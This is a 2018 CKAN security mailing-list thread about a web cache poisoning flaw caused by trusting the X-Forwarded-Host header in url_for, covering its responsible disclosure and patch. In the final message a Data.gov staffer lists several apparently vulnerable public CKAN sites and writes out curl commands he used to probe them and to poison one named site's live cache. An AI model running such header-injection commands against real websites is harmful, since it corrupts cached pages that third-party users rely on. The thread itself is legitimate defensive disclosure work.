[CKAN-Security] X-Forwarded-Host HTTP header is always trusted and is used in url_for

Fri Aug 10 23:06:07 UTC 2018

Thanks Adria, we implemented the patch and it looks like it solved the
issue (we also needed to update production.ini to use the full domain with
https).

The researcher who flagged this issue presented at Black Hat yesterday
<https://www.blackhat.com/us-18/briefings/schedule/index.html#practical-web-cache-poisoning-redefining-unexploitable-10200>
and he also published a blog post
<https://portswigger.net/blog/practical-web-cache-poisoning> which cited
our website and has been getting a lot of attention (it's been one of the
top links on Hacker News). For those following ckan issues on github
obviously this has been known for a while, but it's now fair to say that
the vulnerability has been disclosed in a way that makes it much easier for
others to discover and exploit.

I've done some casual scanning of CKAN sites and the majority of those I
checked appear to be running a version of 2.5 or older that's vulnerable to
this. However, most did not appear to be using caching on the URLs I tested
so they haven't yet fully activated the potential for the cache poisoning
exploit. The only one I've found so far that does use caching and is
exploitable is https://www.data.vic.gov.au. That said, if any of these
other sites were to implement a CDN or caching in the future they would
immediately expose themselves to the exploit.

I'm probably not going to spend too much time looking for impacted sites or
trying to notify folks, but I wanted to raise this in case that might be of
interest to somebody or if you think this should be discussed more publicly
on a mailing list or something.

Some of the sites that look like they're vulnerable but which I couldn't
determine if they were using caching in a way that could be exploited
include:

   - https://www.europeandataportal.eu/data/
   - http://data.europa.eu/euodp/en/data/
   - http://datos.gob.cl/dataset
   - http://www.data.go.jp/data/dataset
   - https://data.overheid.nl/data/dataset
   - https://catalogue.data.wa.gov.au/dataset
   - http://data.ottawa.ca/
   - https://data.kk.dk/
   - https://data.boston.gov
   - http://www.wprdc.org
   - https://www.opendataphilly.org/dataset

I just tested for this by running commands like:

curl -H 'x-forwarded-host: foo.com' http://data.europa.eu/euodp/en/data/ |
grep data-site-root

When there's caching in place I poisoned it like this:

curl -i -s -k -X $'GET' \
    -H $'Host: www.data.vic.gov.au' -H $'Accept-Encoding: gzip, deflate' -H
$'Accept: /' -H $'Accept-Language: en' -H $'User-Agent: Mozilla/5.0
(compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)' -H
$'x-forwarded-host: foo.com' -H $'Connection: close' \
    $'https://www.data.vic.gov.au/data/dataset?q=test1234456abcdef' >
/dev/null

And then I verified it had been poisoned by running:

curl https://www.data.vic.gov.au/data/dataset?q=test1234456abcdef | grep
data-site-root

In any case, I just wanted to spread the news that this will have a bit
more public visibility now.

Best,
Phil

On Thu, Jun 7, 2018 at 10:07 AM, Adrià Mercader <adria.mercader at okfn.org>
wrote:

> Thanks for the details.
>
> As of CKAN 2.5 we included code to sanitize the host used in fully
> qualified URLs generated by `url_for`, making sure it is using the one
> defined in the `ckan.site_url` configuration setting:
>
> https://github.com/ckan/ckan/pull/2599
>
> Would you mind testing if that patch solves the issue? My
> understanding is that it will but I might have missed something along
> the way.
>
> I guess now it's a good time to mention that a lot has moved forward
> on recent CKAN releases :)
>
> Let me know if the patch works and if you need any more details.
>
> Best,
>
> Adrià
>
>
>
> On 6 June 2018 at 16:27, John Jediny - QXA <john.jediny at gsa.gov> wrote:
> > Here is the full report
> >
> > On Tue, Jun 5, 2018 at 6:06 PM, Philip Ashlock - QXA
> > <philip.ashlock at gsa.gov> wrote:
> >>
> >> Hello,
> >>
> >> Data.gov uses CKAN and is participating in a bug bounty program through
> >> hackerone.com. We are currently responding to a vulnerability that
> comes
> >> from libraries used by CKAN (specifically the url_for function provided
> by
> >> routes/flask). I haven't seen this reported with routes or flask, but my
> >> understanding is that routes is a port of the rails routing
> functionality
> >> and it does look like this vulnerability was reported under rails (also
> via
> >> HackerOne). You can see that vulnerability report here
> >> https://github.com/rails/rails/issues/29893
> >>
> >> If I understand correctly that this is a vulnerability impacting other
> >> CKAN instances and it is not something currently being addressed, we
> wanted
> >> to make sure it was brought to your attention. While I am aware that
> this
> >> appears to be caused by upstream libraries, I wanted to start by
> addressing
> >> it with CKAN, because the researcher who reported it to us on HackerOne
> has
> >> indicated they expect to publish their findings soon and include it in a
> >> talk at the Black Hat conference and they will likely use CKAN as an
> >> example.
> >>
> >> If you can confirm my understanding of this problem is correct and that
> it
> >> hasn't already been addressed or reported to the upstream libraries
> >> (routes/flask), we'd also appreciate assistance in bringing the
> disclosure
> >> to the attention of those developers.
> >>
> >> If you need more information or a proof of concept beyond the
> >> documentation reported with the issue on rails, we'd be happy to provide
> >> that.
> >>
> >> Best,
> >> Phil
> >>
> >>
> >
> >
> >
> > --
> > Title: IT Specialist
> > Program: Data.gov
> > Office: Technology Transformation Service (TTS)
> > Agency: General Services Administration
> > Github: JJediny
> >
> > _______________________________________________
> > CKAN security
> > https://lists.okfn.org/mailman/listinfo/security
> > https://lists.okfn.org/mailman/options/security/adria.
> mercader%40okfn.org
> >
> > Repo: https://github.com/ckan/ckan-security
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <https://lists.okfn.org/mailman/private/security/attachments/20180810/c881b35c/attachment-0001.html>